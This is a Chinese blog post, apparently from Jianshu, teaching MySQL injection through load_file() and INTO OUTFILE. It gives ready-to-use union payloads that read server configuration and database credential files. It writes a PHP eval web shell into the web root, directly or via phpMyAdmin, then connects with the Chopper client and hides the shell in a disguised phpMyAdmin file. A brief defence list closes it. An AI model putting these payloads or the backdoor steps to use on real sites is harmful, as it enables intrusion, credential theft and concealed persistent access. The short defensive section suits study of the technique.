into outfile的使用

0x00 load_file()

  • 条件:
1. 要有file_priv权限
2. 知道文件绝对路径
3. 能使用union
4. 对web目录有读权限  
注:若过滤了单引号,则可以将函数中的字符进行hex编码
  • 一般步骤

    • 读/etc/init.d下的东西,这里有配置文件路径
    ?id=1' union select 1,2,load_file('/etc/init.d/httpd')
    
    • 得到web安装路径
    ?id=1' union select 1,2,load_file('/etc/apache/conf/httpd.conf')
    
    • 读取密码文件
    ?id=1' union select 1,2,load_file('/site/xxx.com/conf/conn.inc.php')
    

0x01 into outfile

  • 条件:
1. 要有file_priv权限  
2. 知道网站绝对路径  
3. 要能用union  
4. 对web目录有写权限  
5. 没有过滤单引号
  • 一般方法
    当知道路径时,可以直接用?id=1 union select "<?php @eval($_POST['c']);?>" into outfile("C:/phpStudy/WWW/a.php")

  • 其他方法

    • 登陆phpMyAdmin
    use test;  选择数据库为test
    create table aaa(bbb varchar(64));   在数据库中创建一个表aaa
    insert into aaa values("<?php @eval($_POST['c']);?>"); --在aaa中插入一条数据<?php @eval($_POST['c']);?>
    select * from aaa into outfile 'C:/phpStudy/WWW/a.php'; --将aaa中的数据导出到文件a.php
    
    • localhost:80/a.php能访问
    drop aaa; --删除建立的表
    
    • 然后菜刀连接
    菜刀连接http://www.aa.com/a.php,然后更改shell的名字并将shell放在较隐蔽的地方,比如C:\phpStudy\WWW\phpMyAdmin\setup\lib\common.php
    

0x02 防御

  • 数据库连接账号不要用root权限
  • php关闭报错模式
  • mysql账户没有权限向网站目录写文件
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 一套实用的渗透测试岗位面试题,你会吗? 1.拿到一个待检测的站,你觉得应该先做什么? 收集信息 whois、网站源...
    g0阅读 10,397评论 0 9
  • sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息。 ======...
    wind_飘阅读 6,340评论 0 5
  • Web安全之SQL注入漏洞 本节知识点 SQL注入原理 前言 结构化查询语句(Structured Query L...
    f354f7231c35阅读 6,357评论 0 5
  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 当给sq...
    xuningbo阅读 13,533评论 2 22
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 135,518评论 19 139